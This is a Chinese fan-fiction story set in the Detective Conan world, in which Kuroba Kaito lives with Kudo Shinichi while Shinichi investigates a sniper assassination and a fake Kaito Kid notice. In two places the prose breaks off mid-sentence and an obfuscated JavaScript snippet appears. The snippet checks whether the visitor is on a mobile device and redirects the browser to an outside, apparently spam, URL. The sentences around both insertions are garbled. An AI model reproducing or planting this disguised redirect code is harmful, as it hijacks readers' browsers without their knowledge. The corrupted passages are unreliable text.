职业使然,黑羽快斗对被人盯上的感觉非常敏感。不过他没有抬头,而是继续手上的工作,将磨好的咖啡取出,在滤纸上压平。 玻璃滤杯盛着折成扇形的滤纸,水流从鹤嘴壶的尖嘴倾斜而下时,细密的水珠折射出干净的光线。黑羽快斗用小指勾住壶柄的尾端,水流在空中如同被无形的丝线牵引,精准避开滤纸边缘,浇透每一粒咖啡粉,让闷蒸的粉层像刚苏醒的火山,在热水的浸润下漫起浓郁的香气。 他一边操作一边闲聊:“能够足不出户就完成案件侦破,你这种推理方式叫作什么来着……” “演绎法。” “对对,就叫这个名字,我记得福尔摩斯也很推崇演绎法的运用吧。” 工藤新一喜欢福尔摩斯这件事并不是秘密,客厅里一份份翻阅着各种各样委托信件的侦探随意撑着脸,分辩说:“确实如此,但福尔摩斯不是安乐椅侦探的代表,他经常到案发现场参与调查,这样可以避免被二手信息混杂视线,能更及时准确地抵达真相。我也并非总是异地解决案件,只是视情况而定。” “说得倒是轻松。” 黑羽快斗笑出声时,手腕居然还很稳,悬停在滤纸上方三厘米,水流的落点流畅移动,在粉床上画出极细的年轮形状。深褐色的咖啡液点点滴滴连成一线,落进玻璃质地的分享壶里。当电子秤显示的数字达到预先计算的粉水配比,他提起手冲壶轻点两下,最后两滴水珠精准击碎了滤纸边缘的泡沫圈。 “就是这样才非同寻常吧。别人在现场百思不得其解的问题,你只凭三言两语的信息就能够解决了。要让那些笨拙的警探们听见,说不准会觉得名侦探嚣张至极哦。” “没有……我只是为了合理分配精力。” 工藤新一闭上眼睛略作养神,随后平静地解释。他接过黑羽快斗递来的黑咖啡喝了一口,细腻而厚重的咖啡香氤氲唇齿,忽然缓缓叹了一口气,目光望进杯中朦胧蒸散的水汽。 “怎么了,不好喝么?”黑羽快斗见他神情有异,连忙问。 “不,没有。”工藤新一摇头,沉吟着说,“罗布斯塔的咖啡豆通常以浓郁的苦味为特色,你做的咖啡却有很丰盈的坚果香和焦香,而且也不像在咖啡粉里混入过坚果粉,口感和口味都保留了原汁原味的深邃层次,我以前也只是偶尔才遇得见这么精妙的手艺。” 黑羽快斗闻言松了口气:“这个啊,因为我在炒制生咖啡豆时加了一些坚果,冷却后就挑走了,我妈教我的。” 不过他自己家里也好久没这么做过了,黑羽快斗稍微分神想了一下,因为他和母亲都是比较嗜甜的口味,冰箱常客是果味汽水和甜酒,或者他们有空就自己调热巧克力。 他回过神来,正要问一大早就在辛勤工作的侦探要不要腾出点时间休息,发现工藤新一也静静看着杯子,骨节修长的手勾着杯柄悬在半空,好像也陷入了什么回忆。 热咖啡腾起的水雾漫过他睫毛下的眼睛。 “名侦探,小朋友不能喝太多咖啡哦,心理是大人也不行。” “名侦探,这次的事件又顺利解决了啊,真了不起。” “名侦探,想案子想得失眠了吗?那就陪我一起看夜景啊。” “名侦探,你好像还在苦恼我这次的谜题啊,哈哈莫非这次对决将是我的完全胜利……” “名侦探……” …… “名侦探?” 熟悉的声调把工藤新一从过去拉回来的那刻,他感到心尖被牛毛般的小刺扎了一下,不疼,却足够刻骨。 待他慢慢地收敛起多余情绪,然后抬起眼睑时,黑羽快斗已经走到了他面前。 少年注视着工藤新一,眼睛里泛起笑意:“看来我从前就是这么称呼你,刚刚跟你说别的你都没反应。” “没必要,称呼可以随你喜欢。”侦探若无其事地说,而且出奇地熟识黑羽快斗平时深藏的秉性,“而且你也不是会轻易认可别人的家伙吧,我初次遭遇怪盗的时候——” 工藤新一挑起眉梢,露出一个不太友善的表情,反手过来,用指节轻轻扣了两下桌子,没有继续说下去,但黑羽快斗大致能想象出那多半不是什么客气的言语。 目前寄人篱下吃人嘴软的少年怪盗干咳一声,用手指挠了挠脸颊,莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588907|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名一阵气短心虚。他尴尬地嚷了声面包片好像要烤好了,发挥出滑不溜手的看家本领转过身逃之大吉。 真是……和过往一模一样的开朗跳脱。 侦探静静注视着他的背影,觉得好像有个充斥着强烈既视感的幻象跟在黑羽快斗身后,带有吸引自己的蛊惑气息,在无形无影的空气里蔓延开来,又无声息地沉淀在工藤新一的心底。 时间的针脚走得太快,就像玛利亚·杜埃尼亚斯在书中所写的那样,那个人被留在了历史的背面,成为不朽的时间摹本当中毫不起眼的一页,不被世人所知,却真实而隐形地存在过。 可在自己记忆中的他一直是非常鲜活的,总是意气风发热衷惹事的模样,忽然有一天就像出现时一样突兀地从工藤新一的生命里消失了,让他们本该未完待续的所有故事都仓促落幕。 而对此措手不及的自己居然好像从未试想过对方失约的可能性,他们会走向再也无法转身回首的未来。就算没有根据,侦探也曾无比确信,他的怪盗会在一切风波平息过后明目张胆地走到光下,望向自己的眼睛比唇角先笑,洋洋得意地说着比月夜更动人的漂亮话。 如今除了回忆,工藤新一再也找不到他在哪里。 对于制作料理,二人都没有太大兴趣。黑羽快斗以前是住家里吃家里,母亲外出度假时就厚着脸皮去隔壁蹭饭。工藤新一大多时候也不爱亲自动手,平日都是从附近的酒店订购外送,至于早餐,经常被可有可无地无视过去。 黑羽快斗在心理上还是个规律饮食的高中生,凑合过了几天便开始觉得这样不太行。他不喜欢吃和食,正好工藤新一也更偏好西式料理,于是一拍即合,此项任务就被他包揽了过去。 这天他准备的早餐包括烤面包配黄油和果酱,淋上荷兰酱汁的班尼迪克蛋,色彩缤纷的墨西哥卷饼,还有工藤新一的黑咖啡和他的自制草莓牛奶,简单美味而且营养健全,黑羽快斗满意入座,心中自夸他果然是天才。 除了偶尔吐槽没必要准备兔子苹果作为两个男人的餐后水果,工藤新一从来不会挑剔。他吃东西的时候不会太恪守用餐规矩,但举手投足间带有的从容仪态却让他看起来比拘束于礼仪的人们更有教养,黑羽快斗看着他撕下一块烤面包往嘴里送,慢慢咀嚼的时候不会发出一点声音。 唔……这样看起来,好像也值得他花些心思去研究料理。 黑羽快斗将修长的十指交叠,垫在下巴上,若无其事地想。 打断他思绪的是工藤新一接下来起身的动作,难得这位名侦探有外出行程,是遇到了复杂的案件?黑羽快斗正猜想时,拿起外衣的工藤新一忽然又转头看向他的脸庞。 “对了,这个给你。” 一枚钥匙被放在黑羽快斗面前。 工藤新一边整理衣襟一边说:“虽然对你来说是多此一举,不过这样更方便一些。” 他既然这样说,就是对自己前两天抽空去江古田调查的行动心知肚明吧。 黑羽快斗与他保持看破不说破的默契,心安理得地收下了,随后视线随意瞥向对方放在客厅茶几上的一大堆散乱的信件——就这,还仅仅是今晨寄达工藤家信箱的数量,每天都需要花一些时间整理。 直到现在这个令和年代,纸质信件在日本社会依旧没有被电子邮件完全取代。寄给工藤新一的信件通常是些搜查解密类的商业委托,名侦探的高人气总是让黑羽快斗叹为观止。 “这些,介意我帮你整理一下吗?” “不麻烦的话就有劳。” 话又说回来,后来黑羽快斗在逐一阅览信件时分神思索,经过这些天的观察,他也看出来相比来信的那些私人委托,工藤新一会更倾向于优先处理警方无法解决的恶性罪案。但这就有悖于他对怪盗Kid逢案必查的事实。而且据黑羽快斗所知,世界知名的国际罪犯中也不乏其他只谋取财富或单纯地愉悦作案、不沾手人命的智能犯,工藤新一完全没必要只对他紧追不放。 还是说……是因为黑羽快斗和工藤新一还有着对手以外的其他关系? 黑羽快斗的动作忽然放缓,慢悠悠地翻转着自己拾起的一封信,眼底浮现出深意。 活跃于上世纪末的怪盗Kid曾与许多警官侦探有过交锋,其中也不乏成名已久的厉害角色。有意思的是,在工藤新一提供的官方案卷中,与当时的他比试胜率最高的人物不是工藤新一自己,也不是后来成为黑羽快斗的同学的侦探白马探,而是往后看来如昙花一现般飞速声名鹊起又飞速一败涂地的滑稽侦探——那时被很多人称作“沉睡小五郎”的毛利小五郎。 仿佛现实版的怪人二十面相和明智侦探。 黑羽快斗用修长的手指敲了敲桌面。 更有意思的是,历次Kid的失手都可以戏剧性地归因于寄住在毛利小五郎家中的一位戴眼镜的小学生,媒体因此起哄地给那个总是阻碍了他行动的眼镜小学生取了个Kid Killer的名号。 当然眼镜小学生也有个很响亮的名字,叫作江户川柯南。 江户川乱步的那个江户川,柯南·道尔的那个柯南。 黑羽快斗当时就笑了两声,觉得自己像是在看一部侦探迷编造的趣味小说。 他用指尖轻轻描画着江户川柯南在报纸照片上过于宽大的黑框眼镜,像是凭借这个动作在脑海里重构着什么。 自己与工藤新一的交集绝不可能如表面所见的那么简单,否则这个世界上长得跟黑羽快斗一模一样的人未免也太多了,不但有工藤新一,还有这个江户川柯南。 而且现今工藤新一对Kid的执着也有很大概率会引起有心人的注意。 就像黑羽快斗过去利用怪盗复出的消息引出杀父仇人的做法一样,工藤新一的穷追不舍也极有可能让一些居心叵测之徒不得不出手干预,继而牵出黑羽快斗之死的幕后真相。 黑羽快斗把手中的信函轻轻掷在桌上,高礼帽的简笔画头像在他眼底笑得张狂刺眼,毫无疑问是一个请君入瓮的标志。 4. File 04 尚不知晓家养怪盗燃起斗志的工藤新一正在摘手套。 他平常没有戴手套的习惯,只在工作需要时才用。从白手套里解脱出来的手指修长白皙、骨节分明,肌肤沾着一点湿润的汗意。 今年也不知是怎么回事,六月天气就闷热不已。工藤新一垂眸时正好看见自己无名指上水光闪亮的戒指,忽然有些心浮气躁地走了两步。 远处正在取样拍摄的警员看到这一幕,意味深长地向同僚递了个眼神。 前几天长官们刚说起那位名侦探可能好事将近,看来并非空穴来风。 工藤先生的粉丝和爱慕者们会哭吧。 同僚回给他一个同样八卦的眼神。 工藤新一本人不太爱出风头,并且由于这些年他侦破过太多恶性要案,为保护身边亲友的安全,他从不对外透露自己的交际关系。但只要是相关系统内的人员,几乎无人不晓这位警界救世主的显赫功绩。 常人都是视觉动物,工藤新一那张好看的脸同样让人印象深刻,眉眼唇鼻都生得俊秀干净,完美继承了上世纪国民偶像藤峰有希子的美貌,不知让多少女性对他芳心暗许,就算工藤新一曾透露过他心有所属也无法浇灭这股热情。 毕竟许多人都猜测,那个说法只是名侦探为了应对频繁的告白而找的借口。 工藤新一最为人所知的恋情是他高中时代与青梅竹马的关系,但持续了不过三年就悄然结束,谁也不清楚具体是什么原因,后来就再未听说过他和什么人在一起过,私生活的绯闻罕见得好像没有私生活。 当年有小道消息称,工藤新一的高中恋情也是由他主动提出的分手。不同于为了婚姻双双退出侦探和演员一线工作的父母,工藤新一像是为侦探而生的人物,虽然也有着保护对方的心愿,却无法放弃自己对理想的热忱。 所以如今他是拥有了有自信能保护好的爱人吗?还是终于打算效仿他父亲工藤优作的选择?工藤新一最近几年陪同他们出外勤的频率已经显著降低,尽管这有对方水平太高的缘故,许多案件仅靠他电话指点就能迎刃而解,但也不免让人开始揣测他是否有了想用更多时间相处的人。 最近众人也有听闻对方的前女友将在年底结婚的喜讯,是毛利侦探酒后透露的消息,据说结婚对象是与她交往多年的一名大学教授,那二人已有深厚的感情,工藤先生应该不至于横插一脚吧? 两位警员交换着好奇的眼神,直到长官白鸟任三郎发现他们的心不在焉,瞪了他们一眼,他们才连忙低下头。 白鸟警官自然也看到侦探指间出现了此前未见过的戒指,以他的定力和个性自然不会为此一惊一乍,只是状似无意地多瞥了两眼。 工藤新一查案的时候一向不喜欢发出声音,一个人闷不吭声地在四周看来看去,偶尔才会极有目的性地找人问些较为细节的问题。白鸟警官熟悉他的脾气,眼见工藤新一绕了一圈,终于走回他身旁站定,这才问出心中盘旋已久的问题:“工藤君,你看……怎样?” 警戒线内躺着一具中年男子的尸体,死亡时间不超过十二个小时,面色青白,额头处有一个干涸的黑红血洞,地毯上的血迹很少,只有从前额流淌下来的一丝血痕。 现场很简单,背后牵连的事情却相当麻烦。 死者青山铁昌是日本知名的企业家,他创立的青山会社承建过东京新国立竞技场、国会图书馆等大型国有建筑。公司资本雄厚,与政府关系密切,人脉深不可测。尽管偶尔有媒体揭露该公司的建筑工人长期超负荷工作,甚至有过劳自杀的新闻,但报道很快被公关撤下,热度也随之平息。 这样一位人物的突然死亡自然会引起关注。眼下正值大选的关键时期,青山社长作为自民党的资助方,他的支持对某些人至关重要。目暮警视已接到电话,要求彻查青山社长的死因。 上面的措辞十分严厉,对结果要得很急,青山社长又死得干净利落,狙击手事前准备万全,逃离路线上的监控已被彻底破坏,追踪起来十分困难。警方只能从行凶动机入手调查。 “监控显示,青山社长死前与情妇在一起,事发后对方立即驾车逃逸,我们正在追踪。”白鸟警官对工藤新一低声说,“这位社长有三个儿子,第三子是最近才认领回来的私生子。私生子事件对他的家庭和公司影响都很大,社长太太掌握着公司不小的股权,在董事会上咄咄相逼,但是太太的二儿子对生意不感兴趣,反而是前妻留下的大儿子正在公司任职。从家产争端来看,几人都有雇凶杀人的嫌疑。” 工藤新一摇头道:“不至于。” 白鸟警官以为他嫌动机不足,讽刺地低声解释:“这种家庭一旦乱起来就很容易出现突破底线的事情,而且青山会社从事建筑行业,承包商可能牵涉不干净的背景……” “不至于。”工藤新一又说了一遍,声音中带着断然的味道,透着一点冷意。白鸟警官一怔,见他眼神凛冽,清俊面庞上带着若有所思的表情,没头没尾地说:“他们付不起。” 白鸟警官疑惑道:“什么?” 工藤新一正想回答,却忽然觉得自己似乎对青山会社的名字有些印象,冷不丁问:“青山会社最近承接了什么项目?” 他打开手机搜索公司官网,从资讯栏目一项一项地看,没有找到他要的结果,又发了几条短信出去,随后去翻看最近的新闻。工藤新一本来就有早晨阅读时事新闻的习惯,很快根据记忆找到了他需要的讯息。 “请立刻派人保护建设省的藤原太郎政务官。”他对云里雾里的白鸟警官说,“他是暗杀者的下一个目标。” 然后在乘车赶赴下一个目的地的时候,工藤新一才开始说出他的分析:“凶手使用的是SSG 08狙击步枪,极限距离,一击毙命。” “工藤君,你是说武器透露了凶手的身份?” “不是。”侦探断然否认,“他留下的现场很干净,干净得几乎没有破绽。” 面对白鸟警官愈加疑惑的表情,工藤新一轻轻笑了笑:“虽然我不打算卖关子,但白鸟警官,你多年从事刑案工作,看着尸体难道不觉得古怪吗?” 他不待警官回答,继续说道。 “人的前额骨中央有一条矢状缝的骨沟,子弹从被害人的头颅穿过,落点精准到一分不差地位于这个位置。” 工藤新一用食指点了点前额。 “从受力来看,压强大、创口小、损耗也小,从最精妙的角度洞穿大脑组织,然后射出后脑,在致命伤的创口带出最少的血液,导致我们看到的尸体非常干净,地毯沾到的血污也是被害人死后才出现的痕迹。” 显然,这不是普通人能完成的狙击。 “一定还有其他人拥有杀死青山社长的动机,而且是非同一般的人物。”工藤新一意味深长地说,“凶手……不,这是顶级的狙击手,光这一枪的价值就足以抽空青山会社的账面资金,情杀或者家族内斗都请不起这样的人出手。” “你是说有人想通过青山社长的死达成其他目的?”白鸟警官头痛地说,“选举?按理说没有绝对的立场,只有绝对的利益,党派争斗很少会波及资方……还是内乱?青山会社内部本来就划分为不同的势力,社长意外死亡,董事会争权,生意也会受到很大影响。” 答案可能牵涉极深。工藤新一翻阅着资料。 他注意到青山会社的竞争对手很多,但是,即便其他公司的竞标报价很有竞争力,青山会社总能中标建设省的项目,背后可能存在利益输送或官员接受不正当献金的内幕。 查看他们的年审报告,对于规模这么庞大的一家公司,历年报告的出具方既不是国际四大,也不是国内知名的事务所,而是一家成员不超过10人的独立小所,财务情况也可能存在猫腻。 根据建设省对外公示的资讯,政府决定今年拨款至中野区建立一座综合性博物馆,承建商就是青山会社,博物馆的藏品主要来源于去年从沉船里斯本丸号中打捞并修复的大量珍宝。 里斯本丸号是上世纪中叶从中国香港起航的一艘货船,当时船上载着近两千名英俘和大量来自香港的贵重财宝和文物,由八百名日本士兵负责押运,后来在长江口舟山群岛的东极岛附近被击沉,近三千人的生命与不可估量的财富一同被埋葬海底,直到前年在东极东面的公海被打捞后才重见于世。 这批宝物的归属在国际舆论上存在不小的争议,史料记载这一切都来自战争的掠夺,因此邻国有很多抗议的声音,尤其是港岛许多底蕴深厚的家族都主张应该无偿归还属于他们先祖的财产,日本政府方面却一直不予理会。毫无疑问,博物馆项目的批准背后少不了右翼党派的大力推动,主导方极有可能是来自自民党的势力。 工藤新一所点名的藤原太郎政务官,就是建设省在这个项目中任命的行政负责人。 青山社长的死亡将延缓博物馆的修建进度,而藤原政务官若遇害,则会导致项目彻底停摆。上面调查内幕并重新任命负责人的流程时长将按年计,甚至计划直接流产都不无可能。 “你觉得藤原先生现在就会遇到危险?”白鸟警官得到答案还是不解,“青山社长刚刚遇害,就算你的猜测没错,凶手为了肯定会躲避风头……” “他们一定会动手。” 工藤新一垂下眼,感到厌恶地皱起眉毛,说实话,他不愿意过于深入这种背后定然涉及了政治博弈的案子,也不愿意被人利用。但侦探的责任感和对人命无法无动于衷的心理还是让他继续说了下去。 “越快越能体现这些亡命之徒的决心,无论他们的暗杀能否成功,都不碍于达成目的。” 藤原政务官又不是不要命了,冒着生命危险继续推进项目,他大可以借此称病拖延,对内有了解释,对外也不结仇。 “但对于我们来说,一个人的生与死有着天壤之别。”工藤新一看向窗外,不知为何,被风吹散的声音显得非常遥远,却始终坚定不移,“无论是什么人,都应该活着承担自己所做过的一切。” 白鸟警官这才意识到为什么工藤新一刚看到死者的尸体,就让他立即召集警署里擅长反狙击的高手,不是为了帮忙查案,而是为了救人。 警车一直压着市内限速的极限,一路驶上高架。白鸟警官看了眼副驾驶位上的青年,窗户开着,狂风呼呼地灌进车内,工藤新一将左手臂搭在上面,动作随性,气质闲适,浅蓝西装里面是领口敞开的黑色衬衣,漆黑的刘海被吹得非常凌乱。 他漫不经心的样子似乎是在想事情,脸上几乎没什么体现情绪的表情,唯有眸底的基色是冷的,在夏日明亮得几乎眩目的白色光晕里,清俊的五官倒映在脑海中的细节几乎融化了,蓝色的眸子泛出刀芒一般的雪亮锋利,只消看上一眼,就让人如被精准拆解、骨肉分离。 是没有迷茫,没有迷宫,洞若观火的眼神。 属于天下第一名侦探的眼神。 消息在白鸟警官驶下高架的时候传来,电话刚接通,那边的佐藤警官就单刀直入地告知了他们一个坏消息和一个好消息。 坏消息是藤原政务官遇袭,狙击手逃脱,他们的人赶到时只看见地上一杆被丢弃的SSG 08和一个空弹壳。好消息是藤原躲过了致命伤,救援人员情急之下把这位先生推到墙上,导致他有点脑震荡,不过人已经送医,基本没什么大碍。 果然一切都如工藤新一所料。 “可是有必要吗?”白鸟警官放下电话很久都还满脸难以置信,疑惑道,“你觉得只为阻止一座博物馆的落成,就要搭上一家大型建筑企业的社长和一名位置不低的官员的两条命,这值得吗?” 他想不明白。 一座博物馆而已,有必要吗? 他习惯性地以为工藤新一会给出答案,不过这回对方倏地笑了一声。这位名侦探先生的嗓音很好听,清越又干净,略略压低时带了一丝散漫的磁性,那张俊美的面容上泛起笑意,玩笑似的开口:“我也觉得不值得,风险与收益无法取得平衡,杀人理由不充分,一定还隐藏着其他秘密。所以,会不会当我们查出真正的缘由的时候,就是我们……应该说,就是我的死期?” 车窗外的风声渐停,工藤新一转过头来,在一室阴冷寂静的空气中抬起眼睛,神情是依旧八风不动般的漫不经心。 “现在插播一条突发新闻,本市建筑龙头企业青山会社的社长——青山铁昌先生于今日凌晨被发现死于家中,根据现场发现的子弹,警方判断这疑似是一桩谋杀事件,目前案情仍由搜查一课侦查中……” 街边店铺的电视播放着新闻节目,行人兴致索然地将视线从打满马赛克的现场照片上移开,望向游人如织的市民广场。 黑羽快斗的手腕轻轻一抖,停驻在上的鸽子振翅起飞,引领着在他手臂肩膀逗留的同伴们一起,鸽群直上青天,黑羽快斗收起掌心的鸽食,双手插进兜里,抬首看着鸽子们在广场的上空盘旋。 周围喂鸽子的路人们直接惊呆了,纷纷朝这人看去。黑羽快斗却不在意自己成为人群视线的焦点,他戴着鸭舌帽,宽帽檐和微卷的长发梢在很大程度上遮掩住了眉眼,旁人只能看出他身材高挑,腰细腿长,肤色冷白,侧脸轮廓极其张扬标致。 瞧模样只是个青春气十足的少年,气质却比大荧幕上的明星更为出众。 通俗点来讲,一身藏都藏不住的大帅哥味儿。 鸭舌帽帅哥面前有个牵着气球的小女孩,先前还扯着妈妈说想摸鸽子,这下眼前的鸽子全飞了,她整个人顿时如遭雷击,不敢相信会发生这么离奇的事情,困惑失落还觉得委屈,嘴巴瘪起,眼见着下一刻就要哭得疾风骤雨,只见对方这时将食指竖在女孩的嘴前,单膝支地,蹲下身来。 “这位小小姐,请问您喜欢鸽子吗?” 在说什么呢?他面前的女孩有些疑惑地眨着眼睛。 在小女孩迟疑地点了点头后,黑羽快斗微笑着说好,在她的注视下扬手打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588908|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个利落的响指。 “One.” 一只鸽子应声从他朝下张开的掌心飞出。 “Two.” 两只鸽子在小女孩不可思议的眼神中被黑羽快斗信手抛上天去。 “Three——” 声调愈发高扬的少年站起身,甩飞他的帽子,他张开手臂,从帽子里飞出的成群白鸽在阵阵惊呼中优美地低翔着掠过广场,吸引高处盘旋的鸽群也落回人群,其中一只停在小女孩惊喜伸出的掌心,鸽子毫不怕生,动了动脑袋,原地优雅地整理起它飞乱的羽翼。 在人们视线被鸽群吸引的时候,黑羽快斗伸手接住从半空中缓缓落下的帽子,戴回头上,他笑着对小女孩的母亲欠了个身,对方也压抑着惊奇颔首致意。 “这是魔术?”她问。 黑羽快斗笑了笑:“是的。” “好厉害。”小女孩的母亲毫无保留地给予盛赞,“比我在很多魔术演出上看到的精彩多了。” “只是雕虫小技而已。”黑羽快斗轻快地说,“听起来您也对魔术很感兴趣?” “哎呀,我只是外行人程度的爱好者而已,比不上真正的专家,对原理的了解程度连我叔父都不如呢。”对方爽朗地摆了摆手,“而且我叔父也算不上爱好者,他是一直对无法打败怪盗大人耿耿于怀,才决意下苦功钻研魔术的知识而已。” 闻言黑羽快斗侧过头,夕阳的光线从侧脸勾勒下来,让他一边的眼睛落在帽檐的阴影中,神情似乎真情生动地从困惑转变为一种恍然的笑意:“您说的怪盗大人……啊,莫非就是传说中的……” 女子愉快道:“年轻人挺有见识嘛!没错,就是怪盗Kid!” “魔术界有很多关于他的议论……” 黑羽快斗说得含蓄。利用魔术实现完美犯罪,就算在内行人眼里,这种事也是剑走偏锋的大胆妄举。虽然他很欣赏这个时代的自己能做到这种地步,也敬佩他的父亲过去创造的奇迹,但不可否认,他们的作为从本质上来说仍是犯罪,是不可能得到世俗认可的。 种种思绪转过脑海的时候,他轻笑着转移了话题:“所以您所说的叔父就是铃木财阀的前任顾问铃木次郎吉先生吧。他曾经是报纸的头版常客呢,与Kid的对决也时常引起关注。我说的对吗,园子女士?” 铃木园子,铃木财阀的现任董事长。尽管这位大财阀的继任者是一名女性,但在她的婚姻是男方入赘的前提下,不但铃木园子本人保留着自己本家的姓氏,而且她的独女也同样如此。 “看你年纪轻轻,没想到见识不浅。”铃木园子没想到与黑羽快斗闲聊几句就被认出身份,稀奇地说,“我有个熟人和你很像,很擅长推理,只不过那家伙在你那么大的时候脾气实在太拽了。” 这番抱怨多少带点回忆滤镜,本来很多人面对同龄人和长辈就不是同一副样子,黑羽快斗没有在意,面上带着漫不经心的神情说:“但是怪盗已经消失很久,后来出现的都是冒牌货,铃木先生纵然不服气,也只能留下这个遗憾了。” “这可能还说不定……”铃木园子说得犹豫,大概自己心里也很怀疑,有些尴尬地笑了两声,对眼神露出疑惑的黑羽快斗悄声道,“其实呢,我家前几天居然又收到了Kid大人的预告函。因为多年以前他也有过这样的复出先例,所以次郎吉叔叔最近很兴奋,天天斗志昂扬地嚷着要一雪前耻呢。” 这句话让黑羽快斗一瞬间露出危险表情,又很快被他隐去,面上带起看上去十分真情实意的兴奋表情。 “欸?!真的吗?那这可是条大新闻啊!”他惊喜道。 铃木园子听得不太好意思,干咳了一声道:“还不确定真假,所以我们没有对外公开……因为据我所知,Kid大人比较热衷于将大宝石作为目标。而这次预告信的目标只是半个破钥匙,是去年跟我家合作的一位香港商人赠送的礼物。” “咦,只是钥匙吗?” “对,完全没用。” 铃木园子点头,看起来她似乎也为此感到费解。 黑羽快斗不由在心中沉吟起来。他外出前已经调查过冒牌怪盗盯上的目标,对于那把残缺不全的钥匙也心存疑问。 物品本身没有价值,所以关键应该在于钥匙对应的锁在哪里,是否有宝物被封存其中,才能得出真正的答案。 从冒牌怪盗特地发出预告的行为来推测,对方应该已经知晓了这个秘密。正因如此,黑羽快斗才会找上铃木园子。 他想了想还是不太愿意放弃,追问道:“当时那位商人有说过什么吗?什么都可以,说不定就能解开怪盗出手的谜团了。” 铃木园子看了黑羽快斗一会儿,手指搭上下颌,思索着说:“嗯……好像有吧。据说钥匙是他在家乡并购的一个破产家族所收藏的旧物,如果能找到另外半枚钥匙,就能开启‘五号金库’。但要我说,人家都破产了,哪里还有什么金库啊!”她忍不住吐槽起来。 金库?看来藏宝地在香港啊。 黑羽快斗挑起眉梢。 铃木园子接着道:“那位商人还说这是一个祝福,因为财富会自然地流向运势好的人。因为我爸爸和叔父不是经常收购一些有意思的珠宝和古董吗?所以若是有朝一日能够集齐钥匙,就代表铃木财阀具有兴盛的运势……嘁,神神叨叨的,企业的成功靠的是经营而不是寻宝游戏,总之我听过就当耳旁风了,那玩意儿先前也一直在我家的仓库里落灰。” “不过金库有宝物的说法听起来不是很有趣吗?”黑羽快斗笑着说,“说不定是一笔惊人的财富。” “嗐!没什么特别的,据说只是个有点罕见的大宝石。”铃木园子不以为意地摆了摆手,“那个人说宝石夜里照光会变色,让我有点怀疑是不是天然宝石啊。” 这形容对怪盗来说太过熟悉,黑羽快斗心里咯噔一下,缓缓眯起眼睛。 “原来如此……” 他心底浮现出一个猜想:有心人突然盯上曾经无人在意的半枚钥匙,或许这是因为流落在外的另外半枚钥匙已经被人发现。对方想要将其合二为一,然后取得那个“五号金库”中藏匿的宝物。 问题在于,此人为何要扮成怪盗?为何要将工藤新一牵扯入局? 要说与他们二人都存在关联并且心怀恶意的对手,黑羽快斗只能想到谋害自己的真凶。 想到这里,他的眼神不由凝重起来。 黑羽快斗研究过工藤新一提供的资料,知道自己后来找到了谋杀黑羽盗一的组织,还一直在寻找那个组织梦寐以求的特殊宝石。据说宝石在月光下会显现出内部另一个带有红光的宝石,这也成为Kid偏好在月夜作案,被称为月下魔术师的原因。 若是内幕如他所想,那对方的目的也就昭然若揭了。藏在“五号金库”中的宝物极有可能就是这个时代的黑羽盗一与黑羽快斗穷尽一生都没有找到的宝石,能让人长生不老的魔石—— 潘多拉。 5. File 05 黑羽快斗告别的时候送了铃木家的小女孩一枝去了刺的玫瑰花,对方不愧继承了铃木园子的性格,小姑娘欣喜之下扑上来就要亲他的脸,可惜得逞前就被铃木园子大惊失色地捞了回去,当着黑羽快斗的面给小朋友敲了一记爆栗,手速快得少年怪盗都不禁流下一滴冷汗,面对对此好似早已习以为常的二人一阵强颜欢笑。 “嗯……铃木家啊。” 黑羽快斗打算亲自与冒充他的家伙打个照面。在回去的路上,他通过电话将这件事告诉了工藤新一,同时也敏锐注意到侦探的语气也颇耐人寻味。 工藤新一沉默的时间没有很长,不待黑羽快斗仔细揣摩,他便回复说:“‘五号金库’和‘半枚钥匙’是吗?我会调查的。” 那你会去现场吗?黑羽快斗想问。 若是对手包括当代最受认可的名侦探,他会很有压力,也会很有动力。只是黑羽快斗的话还没有问出口,工藤新一就已经干脆利落地切断了通讯,这种对更进一步的话题好像避之不及的感觉不免让他的内心生出一丝异样。 是不是有点回避我呢? 屏幕前的少年眨了眨眼睛,有点古怪地盯着发出忙音的手机。 黑羽快斗自己都不知道该怎么解释这个有点微妙的结论。他倒也不是一无所觉,工藤新一有时候会透过他注视那个死去的自己,可能本人也是无意为之,因此对方回神后很快就会欲盖弥彰地转过头去。 他能够感受到工藤新一言行间流露出的在意和关心,所以对方的回避并非出于讨厌的感情。但他也直觉认为,工藤新一的态度不同于寺井爷爷对他慎重过头的保护心态,有时候是一种无需多言的信任,有时候…… 他说不清楚。 就像工藤新一与另一个黑羽快斗发生在十年以前的故事一样,笼罩在重重迷雾中,只能从无数报道和记载中隐约窥见,有关他们的每一个文字都缠绕着暧昧不清的脉络。 黑羽快斗烦恼地叹了一口气。 同样的叹息也飘散在工藤新一的房间里。 工藤新一与黑羽快斗的第一反应极为相似,当他听说铃木财阀收到怪盗预告的消息,顿时怀疑这是针对黑羽快斗的诡计。 属于过去的黑羽快斗在墓园凭空出现,工藤新一至今还未查明造成这桩离奇事件的原因。就算对方借住在他家中,黑羽快斗的身份也经不起情报机构的深入调查。而且若这超乎常理的一切都是有心人的蓄意为之,那么特意将Kid的预告函分寄给铃木园子和他的用意就绝不简单。 对方此举存在一个极大的破绽。 根据以往他逢案必究的先例,普通的模仿犯躲工藤新一还来不及,对方没必要多此一举地向他挑衅,唯一与旧日不同的是,现在工藤新一身边多了黑羽快斗。 